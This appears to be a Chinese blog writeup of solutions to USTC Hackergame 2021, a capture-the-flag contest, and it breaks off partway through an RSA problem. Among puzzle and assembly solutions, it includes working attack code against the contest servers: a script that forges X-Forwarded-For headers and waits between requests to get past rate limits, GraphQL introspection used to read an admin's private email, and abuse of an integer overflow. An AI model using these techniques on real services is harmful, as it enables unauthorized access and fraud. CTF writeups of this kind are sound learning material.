<li>传达不到的文件:听说这题非预期解挺多的。我尝试了一下用 busybox printf 创建二进制文件然后 ptrace 直接读内存发现不工作就放弃了,结果原来其实还可以读写寄存器改系统调用泄露二进制文件。更后面的步骤我自然也接触不到了。不过连非预期解都找不到还是有点不太行的。</li>
<li>《关于 RoboGame 的轮子永远调不准速度这件事》:什么臭题。由于不懂这个 8051 架构所以根本没有从题目描述中读出来可以在 0x24 端口读写固件的内容。学习了。</li>
<li>壹…壹字节?:没仔细看这题,看着就很难,不过看题解似乎也不是特别复杂,虽然就算看了也不一定能想到。学习了。</li>
<li>小 Z 的靓号钱包:这就在我的知识范围外了。学习了。</li>
<li>火眼金睛的小 E:因为懒所以没做第一小题。至于第二小题的自动化部分还是有点复杂的,而第三小题就更复杂了。而且这个题还是需要拼概率的。总之学习了。</li>
<li>evilCallback:本届的压轴题。虽然平常在写 JavaScript,但是还真不了解 v8 这一套。总之还是了解一下。</li>
</ul>
<h2 id="总结">总结</h2>
<p>今年拿到了 16 名,比去年下降了一名,不过拿到了 7050/11150 分,和去年相比增加了不少。看来 BPC 还是小有进步,只是比赛变卷了而已。</p>
<p>另外就是,今年跑了脚本爆破了一个颜色为 #FF7F00 的 Tag(也就是 #80qb19)。不过不了解我的人可能很难想到这个颜色的意义,下次可能试试重新爆破一个更人类可读的 Tag 吧。</p>
<p>总之,明年有空一定还来。</p>benpigchu题图是本次 USTC Hackergame 我的题目完成情况USTC Hackergame 2021 Writeup2021-10-30T08:54:02+00:002021-10-30T08:54:02+00:00http://benpigchu.github.io/pikanote/article/ustc-hackergame-2021-writeup<blockquote>
<p>题图是本次 USTC Hackergame 我的题目完成情况</p>
</blockquote>
<p>一年一度的 USTC Hackergame 又开始了。其实去年我就有参加,而且似乎在排行榜上留下了自己的名字,但是由于种种原因没有写 Writeup。于是这次,我打算每做一题就写一题的 Writeup,避免比赛结束之后没有动力写。</p>
<p>以下按照解题时间顺序排序,有多个小题的,各小题分开排列。为了简单,题目本身的描述我就不写在 Writeup 里了,大家可以去 <a href="https://github.com/USTC-Hackergame/hackergame2021-writeups" target="_blank" rel="noopener">官方 Writeup</a> 查看。</p>
<h2 id="签到">签到</h2>
<p>和往年一样,表单的参数写在 URL search param 里了,所以我直接按照要求填入当前时间的 Unix 时间戳就行。(当然比赛结束之后就要手动填以前的时间了)</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="o">=</span><span class="s2">`http://202.38.93.111:10000/?page=</span><span class="p">${</span><span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">()</span><span class="o">/</span><span class="mi">1000</span><span class="p">)}</span><span class="s2">`</span>
</code></pre></div></div>
<h2 id="进制十六参上">进制十六——参上</h2>
<p>签到题二号,只需要把十六进制编辑器左侧未打码的十六进制数抄下来并还原成 ASCII 字符即可。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">hex</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">s</span><span class="o">=></span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCodePoint</span><span class="p">(</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="mi">16</span><span class="p">))).</span><span class="nx">join</span><span class="p">(</span><span class="dl">""</span><span class="p">)</span>
</code></pre></div></div>
<h2 id="去吧追寻自由的电波">去吧!追寻自由的电波</h2>
<p>签到题三号,只需要拖进 Audacity 使用改变速率效果放慢三倍,就能清晰听出音频内容。为了不让我们听混,还特意使用了 <a href="https://en.wikipedia.org/wiki/NATO_phonetic_alphabet" target="_blank" rel="noopener">NATO phonetic alphabet</a>。对着表格听认即可。</p>
<h2 id="猫咪问答-pro-max">猫咪问答 Pro Max</h2>
<p>惯例的搜索引擎使用技巧考试。</p>
<ul>
<li>对于第一题,虽然“信息安全俱乐部的域名(<a href="https://sec.ustc.edu.cn" target="_blank" rel="noopener">sec.ustc.edu.cn</a>)已经无法访问”,但是难道我不会用 WebArchive 吗?答案在 <a href="https://web.archive.org/web/20181004003308/http://sec.ustc.edu.cn/doku.php/codes" target="_blank" rel="noopener">WebArchive 保存下来的这一页</a> 可以找到。</li>
<li>对于第二题,反正是不大于 5 的整数,可以枚举嘛。不过答案其实在 <a href="https://lug.ustc.edu.cn/wiki/intro/" target="_blank" rel="noopener">LUG 的介绍页面</a> 找到,虽然它没有及时更新,导致我最后还是枚举了。</li>
<li>对于第三题,答案在 <a href="https://lug.ustc.edu.cn/news/2016/06/new-activity-room-in-west-library/" target="_blank" rel="noopener">LUG 的西区图书馆新活动室启用新闻页面</a> 的图片里可以看到。</li>
<li>对于第四题,虽然当然也可以枚举,但是可以看 <a href="http://sigbovik.org/2021/proceedings.pdf" target="_blank" rel="noopener">SIGBOVIK 2021 会报</a> 的第 213 页,直接读一读这篇文章,看看图表就能找到答案。</li>
<li>对于第五题,这指的是 <a href="https://datatracker.ietf.org/doc/html/rfc8962" target="_blank" rel="noopener">愚人节的 RFC8962</a>,可以在 Reporting Offenses 一节找到。</li>
</ul>
<h2 id="透明的文件">透明的文件</h2>
<p>打开文件可以看到明显是 <a href="https://zh.wikipedia.org/zh-hans/ANSI%E8%BD%AC%E4%B9%89%E5%BA%8F%E5%88%97" target="_blank" rel="noopener">ANSI 转义序列</a>,只不过被打印出来进行了再转义,只需要写个脚本把它变回去。一开始只是把 <code class="language-plaintext highlighter-rouge">"["</code> 替换成 <code class="language-plaintext highlighter-rouge">"\x1B["</code>,但是输出时发现字符没有出现,反而是有些地方的字符消失了。仔细一看只是在特定位置输出了空格而已,所以把空格替换成一个普通字符即可。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">data</span><span class="o">=</span><span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">./transparent.txt</span><span class="dl">"</span><span class="p">,{</span><span class="dl">"</span><span class="s2">encoding</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">utf-8</span><span class="dl">"</span><span class="p">})</span>
<span class="kd">const</span> <span class="nx">result</span><span class="o">=</span><span class="nx">data</span><span class="p">.</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">"</span><span class="s2">[</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="se">\</span><span class="s2">x1B[</span><span class="dl">"</span><span class="p">).</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">8</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">result</span><span class="p">)</span>
</code></pre></div></div>
<h2 id="amnesia---轻度失忆">Amnesia - 轻度失忆</h2>
<p>我们只需要把所有所需的信息全部放在 .text 里面就好了。为此我们只需要在栈上存字符串,手动一个字节一个字节填进去,再打印就好。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">str</span><span class="p">[</span><span class="mi">15</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="n">str</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">=</span><span class="sc">'H'</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">=</span><span class="sc">'e'</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">=</span><span class="sc">'l'</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="sc">'l'</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="o">=</span><span class="sc">'o'</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span><span class="o">=</span><span class="sc">','</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span><span class="o">=</span><span class="sc">' '</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span><span class="o">=</span><span class="sc">'w'</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span><span class="o">=</span><span class="sc">'o'</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span><span class="o">=</span><span class="sc">'r'</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span><span class="o">=</span><span class="sc">'l'</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">11</span><span class="p">]</span><span class="o">=</span><span class="sc">'d'</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">12</span><span class="p">]</span><span class="o">=</span><span class="sc">'!'</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">13</span><span class="p">]</span><span class="o">=</span><span class="sc">'\n'</span><span class="p">;</span>
<span class="n">str</span><span class="p">[</span><span class="mi">14</span><span class="p">]</span><span class="o">=</span><span class="sc">'\0'</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="n">str</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h2 id="旅行照片">旅行照片</h2>
<p>社会工程学题。</p>
<p>搜索 KFC 蓝色,可以得知,这是特殊的蒂夫尼蓝色KFC,很幸运地在第一页就找到了 <a href="https://www.xiaohongshu.com/discovery/item/5e985cda00000000010076e5" target="_blank" rel="noopener">秦皇岛的蒂夫尼蓝色 KFC</a>。也就是 <a href="https://j.map.baidu.com/3b/lfic" target="_blank" rel="noopener">这一家</a>。对照地图,可以从视角和地图的对应关系得知拍照方向,从阴影位置得知拍照时间,同时根据透视关系,可以从右侧的楼的窗户的方向得知所在楼层的高度(这一部分参考 <a href="https://www.zhihu.com/question/24651925/answer/28527771" target="_blank" rel="noopener">这个知乎答案</a>)。在地图链接里可以找到电话信息。不过地图上的 KFC 标偏了,实际上正确的位置应当在 <a href="https://j.map.baidu.com/16/1Aic" target="_blank" rel="noopener">这个地方</a>,可以在街景视图上看到建筑上的字。</p>
<p>不过实际解题时楼的高度估计出现了误差一些,所以这一问我是枚举的。</p>
<h2 id="卖瓜">卖瓜</h2>
<p>首先进行一番实验。</p>
<p>初始状态放 <code class="language-plaintext highlighter-rouge">2222222222222222222222222222222222222222222222</code> 个 9 斤的瓜可以直接放上 <code class="language-plaintext highlighter-rouge">-9223372036854775808 = -2**63</code> 斤瓜,说明有地方发生了溢出,但是,如果再放一次 <code class="language-plaintext highlighter-rouge">2222222222222222222222222222222222222222222222</code> 个 9 斤称上就有 <code class="language-plaintext highlighter-rouge">-1.844674407371E+19</code> 斤瓜了,说明溢出并没有发生在乘完之后加的阶段。那么,可能是在乘法阶段出的问题。</p>
<p>重置一次,尝试放上 <code class="language-plaintext highlighter-rouge">2**63//9=1024819115206086200</code> 个 9 斤的瓜,发现一共放上了 <code class="language-plaintext highlighter-rouge">9223372036854775800</code> 斤瓜了,再放上 <code class="language-plaintext highlighter-rouge">1024819115206086201</code> 个 9 斤的瓜,发现一共放上了 <code class="language-plaintext highlighter-rouge">-8</code> 斤瓜!那么再重复一遍这个过程,便一共放上了 <code class="language-plaintext highlighter-rouge">-16</code> 斤瓜,再放上 <code class="language-plaintext highlighter-rouge">4</code> 个 9 斤的瓜就刚好凑齐 20 斤了。</p>
<p>这么看来,应该是解析数字和乘法时使用的是 <code class="language-plaintext highlighter-rouge">int64</code>,而最后求和时使用的是 <code class="language-plaintext highlighter-rouge">Bigint</code> 吧。</p>
<h2 id="图之上的信息">图之上的信息</h2>
<p>任何一个标准的 GraphQL 服务器都是允许你获取它的 schema 的,这在 <a href="https://graphql.org/learn/introspection/" target="_blank" rel="noopener">GraphQL 官方文档的这一页</a> 有描述。</p>
<p>首先,通过如下的 GraphQL 查询可以获取所有种类的查询的名称和类型:</p>
<div class="language-graphql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="n">__schema</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">queryType</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">fields</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="n">kind</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>从查询结果看,有一种名为 <code class="language-plaintext highlighter-rouge">user</code> 的查询看上去可以获取用户信息,它的类型是 <code class="language-plaintext highlighter-rouge">GUser</code>。再用以下查询获取这种查询的格式:</p>
<div class="language-graphql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="n">__type</span><span class="p">(</span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="err">\</span><span class="s2">"GUser\"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="n">fields</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="n">kind</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>根据返回的格式,可以直接构造查询获取管理员的用户信息。由于我们的用户 id 为 2,那么管理员大概 id 为 1。于是构造出来的查询如下:</p>
<div class="language-graphql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="n">user</span><span class="p">(</span><span class="n">id</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="n">username</span><span class="w"> </span><span class="n">privateEmail</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>返回值里面的 <code class="language-plaintext highlighter-rouge">privateEmail</code> 就是答案。</p>
<p>不过这里我只是随便猜了一下查询参数的格式。其实这一部分也可以通过 <code class="language-plaintext highlighter-rouge">queryType</code> 里的 <code class="language-plaintext highlighter-rouge">fields</code> 里的 <code class="language-plaintext highlighter-rouge">args</code> 获取。</p>
<h2 id="amnesia---记忆清除">Amnesia - 记忆清除</h2>
<p>既然我们的 .text 段被清空了,那我们不能使用任何函数了。但是其实只定义一个 main 数组,这样我们就可以把代码放在 <code class="language-plaintext highlighter-rouge">.rodata</code> 段,从这里执行我们的程序(这依赖于 GCC 会在这两段内容很少的情况下把 .text 和 .rodata 放在同一页从而使得 .rodata 也可执行的行为)。以前有人做过这种事情,<a href="http://jroweboy.github.io/c/asm/2015/01/26/when-is-main-not-a-function.html" target="_blank" rel="noopener">还写了文章</a>。不过原文是 x86_64 架构下的,我们是 x86_32 架构,所以不能照抄,但是可以直接照着文章重新生成一遍。为了保证一致,我们把题面中出现的 Docker 镜像拉下来,在这个镜像的容器里进行试验。</p>
<p>首先我们要能直接从汇编调用 Linux 系统调用。对照 <a href="https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit" target="_blank" rel="noopener">这张 x86_32 的 Linux 系统调用表</a> 即可轻松编出以下的汇编:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">main</span><span class="p">(){</span>
<span class="n">__asm__</span><span class="p">(</span>
<span class="s">"movl $4, %eax;"</span> <span class="c1">// 调用 write 系统调用</span>
<span class="s">"movl $1, %ebx;"</span> <span class="c1">// 1 号文件描述符是标准输出</span>
<span class="s">"movl $message, %ecx;"</span> <span class="c1">// 指向 Hello world 的指针</span>
<span class="s">"movl $14, %edx;"</span> <span class="c1">// 消息长度</span>
<span class="s">"int $0x80;"</span> <span class="c1">// 执行!</span>
<span class="s">"movl $1, %eax;"</span> <span class="c1">// 调用 exit 系统调用,避免执行到 Hello World那里去</span>
<span class="s">"movl $0, %ebx;"</span>
<span class="s">"int $0x80;"</span>
<span class="s">"message: .ascii </span><span class="se">\"</span><span class="s">Hello, world!</span><span class="se">\\</span><span class="s">n</span><span class="se">\"</span><span class="s">;"</span>
<span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>其次,我们需要让我们的汇编与加载位置无关,为此我们需要获取当前指令寄存器的值,并以此计算 message 的位置。这里参考了 <a href="https://stackoverflow.com/questions/599968/reading-program-counter-directly" target="_blank" rel="noopener">这个 stackoverflow 问答</a> 的方法</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">main</span><span class="p">(){</span>
<span class="n">__asm__</span><span class="p">(</span>
<span class="s">"movl $4, %eax;"</span>
<span class="s">"movl $1, %ebx;"</span>
<span class="s">"call next;"</span> <span class="c1">// 通过 call 指令把当前地址放在栈上</span>
<span class="c1">// 这里汇编器保证使用相对跳转所以是位置无关的</span>
<span class="s">"next:popl %ecx;"</span><span class="c1">// 从栈上读取刚刚保存的地址</span>
<span class="s">"addl $23, %ecx;"</span><span class="c1">// 加上偏移即可得到 message 地址</span>
<span class="s">"movl $14, %edx;"</span>
<span class="s">"int $0x80;"</span>
<span class="s">"movl $1, %eax;"</span>
<span class="s">"movl $0, %ebx;"</span>
<span class="s">"int $0x80;"</span>
<span class="s">"message: .ascii </span><span class="se">\"</span><span class="s">Hello, world!</span><span class="se">\\</span><span class="s">n</span><span class="se">\"</span><span class="s">;"</span>
<span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>按照那篇参考文献,接下来我们只需要把这段代码变成数组存到 <code class="language-plaintext highlighter-rouge">.rodata</code> 段就可以了。</p>
<p>但是这是不工作的。</p>
<p>于是我使用 gdb 进行了一下调查,发现和我想的并不一样,由于 <code class="language-plaintext highlighter-rouge">_start</code> 也在 <code class="language-plaintext highlighter-rouge">.text</code>,也被清掉了,所以它并不会调用 <code class="language-plaintext highlighter-rouge">main</code>。同时,这个编译环境下 <code class="language-plaintext highlighter-rouge">.rodata</code> 和 <code class="language-plaintext highlighter-rouge">.text</code> 不会被放进同一页了, <code class="language-plaintext highlighter-rouge">.rodata</code> 内的内容也无法执行。但是同时我发现 <code class="language-plaintext highlighter-rouge">_start</code> 虽然清空了,但是执行它并不会产生段错误,要一直执行到 <code class="language-plaintext highlighter-rouge">.fini</code> 段的 <code class="language-plaintext highlighter-rouge">_fini</code> 才会报错退出,同时 <code class="language-plaintext highlighter-rouge">.fini</code> 段并没有被清空。于是我考虑把 <code class="language-plaintext highlighter-rouge">main</code> 塞到 <code class="language-plaintext highlighter-rouge">.fini</code> 的 <code class="language-plaintext highlighter-rouge">_fini</code> 之前。</p>
<p>我可以利用 <code class="language-plaintext highlighter-rouge">__attribute__((section(...)))</code> 来指定的所在的段。一开始我选择把 <code class="language-plaintext highlighter-rouge">main</code> 塞到 <code class="language-plaintext highlighter-rouge">.fini</code> 段,但是这样会导致 <code class="language-plaintext highlighter-rouge">main</code> 在 <code class="language-plaintext highlighter-rouge">_fini</code> 之后,最后我还是把 <code class="language-plaintext highlighter-rouge">main</code> 放在了 <code class="language-plaintext highlighter-rouge">.fini._fini</code> 段,这样它就神奇地跑到 <code class="language-plaintext highlighter-rouge">_fini</code> 之前了。</p>
<p>另外还有一个问题,就是全零的字节会和 <code class="language-plaintext highlighter-rouge">main</code> 开头的字节拼成其他指令(也就是有指令对齐问题),所以需要稍微调整一下指令的内容。最后我的代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__attribute__</span><span class="p">((</span><span class="n">section</span><span class="p">(</span><span class="s">".fini._fini"</span><span class="p">)))</span>
<span class="kt">void</span> <span class="nf">main</span><span class="p">(){</span>
<span class="n">__asm__</span><span class="p">(</span>
<span class="s">"movl $4, %eax;"</span>
<span class="s">"movl $1, %ebx;"</span>
<span class="c1">// 这之前的指令用于调整和前面零字节拼成的新指令</span>
<span class="s">"movl $4, %eax;"</span>
<span class="s">"movl $1, %ebx;"</span>
<span class="s">"call next;"</span>
<span class="s">"next:popl %ecx;"</span>
<span class="s">"addl $23, %ecx;"</span>
<span class="s">"movl $14, %edx;"</span>
<span class="s">"int $0x80;"</span>
<span class="s">"movl $1, %eax;"</span>
<span class="s">"movl $0, %ebx;"</span>
<span class="s">"int $0x80;"</span>
<span class="s">"message: .ascii </span><span class="se">\"</span><span class="s">Hello, world!</span><span class="se">\\</span><span class="s">n</span><span class="se">\"</span><span class="s">;"</span>
<span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>最后拿到的 Flag 提到了 <code class="language-plaintext highlighter-rouge">.bss</code> 段,本来以为这说明我这个是非预期解,但是实际上看了官方的 Writeup 之后才发现这只是出题人的灵感来源而已。</p>
<h2 id="flag-助力大红包">FLAG 助力大红包</h2>
<p>活动说明中写明会对 IP 地址进行前后端校验,点进助力页面点一下按钮,可以在浏览器的网络请求记录里看到所谓前端其实就是在浏览器端调用搜狗的 API 获取 IP 地址传给后端,这个可以轻松篡改。而对于后端校验,由于没有后端源码所以我们看不出来是什么情况。不过从请求响应可以看到,它套了一层 nginx,搜索 nginx 获取真实 IP,可以看到 <a href="https://stackoverflow.com/questions/61671996/nginx-how-to-get-the-actual-client-ip" target="_blank" rel="noopener">这个 stackoverflow 问答</a> 提到了 <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> 这个标头,对其进行伪造,居然就通过了。于是我们分别对 256 个 <code class="language-plaintext highlighter-rouge">/8</code> 网段都伪造一次即可,注意两次请求之间需要空一点时间以绕开频率限制,代码如下(需要直接在浏览器控制台中执行):</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">256</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// 这部分是从 Chrome 的网络请求记录里面复制出来略作修改的</span>
<span class="kd">let</span> <span class="nx">result</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">,</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">headers</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">accept</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">accept-language</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-HK;q=0.6,zh-TW;q=0.5,ja-JP;q=0.4,ja;q=0.3,ar-XB;q=0.2,ar;q=0.1</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">cache-control</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">no-cache</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">content-type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">application/x-www-form-urlencoded</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">pragma</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">no-cache</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">upgrade-insecure-requests</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">1</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">X-Forwarded-For</span><span class="dl">"</span><span class="p">:</span> <span class="s2">`</span><span class="p">${</span><span class="nx">i</span><span class="p">}</span><span class="s2">.0.0.0`</span>
<span class="p">},</span>
<span class="dl">"</span><span class="s2">referrer</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">http://202.38.93.111:10888/invite/eb2f9a2e-f9ca-4406-9a7c-fc408c79615f</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">referrerPolicy</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">strict-origin-when-cross-origin</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">body</span><span class="dl">"</span><span class="p">:</span> <span class="s2">`ip=</span><span class="p">${</span><span class="nx">i</span><span class="p">}</span><span class="s2">.0.0.0`</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">method</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">mode</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">cors</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">credentials</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">include</span><span class="dl">"</span>
<span class="p">});</span>
<span class="kd">let</span> <span class="nx">body</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">result</span><span class="p">.</span><span class="nx">text</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="nx">body</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">助力成功</span><span class="dl">"</span><span class="p">)</span> <span class="o">||</span> <span class="nx">body</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">重复的 /8 地址</span><span class="dl">"</span><span class="p">)))</span> <span class="p">{</span>
<span class="nx">i</span><span class="o">--</span>
<span class="p">}</span>
<span class="k">await</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">((</span><span class="nx">res</span><span class="p">)</span> <span class="o">=></span> <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">res</span><span class="p">,</span> <span class="mi">1500</span><span class="p">))</span>
<span class="p">}</span>
</code></pre></div></div>
<h2 id="赛博厨房---level-0">赛博厨房 - Level 0</h2>
<p>似乎只会出现 <code class="language-plaintext highlighter-rouge">0,1</code> <code class="language-plaintext highlighter-rouge">1,0</code> <code class="language-plaintext highlighter-rouge">0,0</code> <code class="language-plaintext highlighter-rouge">1,1</code> 四种菜谱,分别准备好程序即可。程序的内容当然是普通的移动,拿物品,放物品,没有什么特别的。以下给出 <code class="language-plaintext highlighter-rouge">0,1</code> 的示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>向右 1 步
拿起 1 个物品
向下 1 步
向左 1 步
放下 1 个物品
向上 1 步
向右 2 步
拿起 1 个物品
向下 1 步
向左 2 步
放下 1 个物品
向上 1 步
</code></pre></div></div>
<h2 id="赛博厨房---level-1">赛博厨房 - Level 1</h2>
<p>似乎只会出现 73 个 0 这一种菜谱,所以只需要写这一种情况。</p>
<p>这里我们便需要使用循环了,我的代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>向右 1 步
拿起 73 个物品
向左 1 步
向下 1 步
放下 1 个物品
如果手上的物品大于等于 1 向上跳转 1 行
</code></pre></div></div>
<h2 id="easy-rsa">Easy RSA</h2>
<p>题目中的脚本和其中的注释中给出了足够多的信息,可以让我们直接获取 <code class="language-plaintext highlighter-rouge">p</code> 和 <code class="language-plaintext highlighter-rouge">q</code>。</p>
<p>首先来求 <code class="language-plaintext highlighter-rouge">p</code>。要求 <code class="language-plaintext highlighter-rouge">p</code>,首先要对已知的 <code class="language-plaintext highlighter-rouge">x</code> 和 <code class="language-plaintext highlighter-rouge">y</code>求出 <code class="language-plaintext highlighter-rouge">y! mod x</code>。如注释所说,直接计算肯定不行。但是注意到 x 与 y 的 差值很小,而我们知道 <code class="language-plaintext highlighter-rouge">(x-1)! mod x</code> 在 <code class="language-plaintext highlighter-rouge">x</code> 为质数时为 <code class="language-plaintext highlighter-rouge">-1</code>(也就是威尔逊定理),在 <code class="language-plaintext highlighter-rouge">x</code> 为 <code class="language-plaintext highlighter-rouge">4</code> 时 为 <code class="language-plaintext highlighter-rouge">2</code>,在其他情况下为 <code class="language-plaintext highlighter-rouge">0</code>,所以首先检查一下 <code class="language-plaintext highlighter-rouge">x</code> 是否为质数。经过检查,<code class="language-plaintext highlighter-rouge">x</code> 确实是质数,那么由于 <code class="language-plaintext highlighter-rouge">(x-1)! = y! * (y+1) * ... * (x-1)</code>,所以我们只需先求出 <code class="language-plaintext highlighter-rouge">t = (x-1) * ... * (x-(x-y-1)) mod x = (x-y-1)! * (-1)**(x-y-1) mod x</code>,那么就可以得到 <code class="language-plaintext 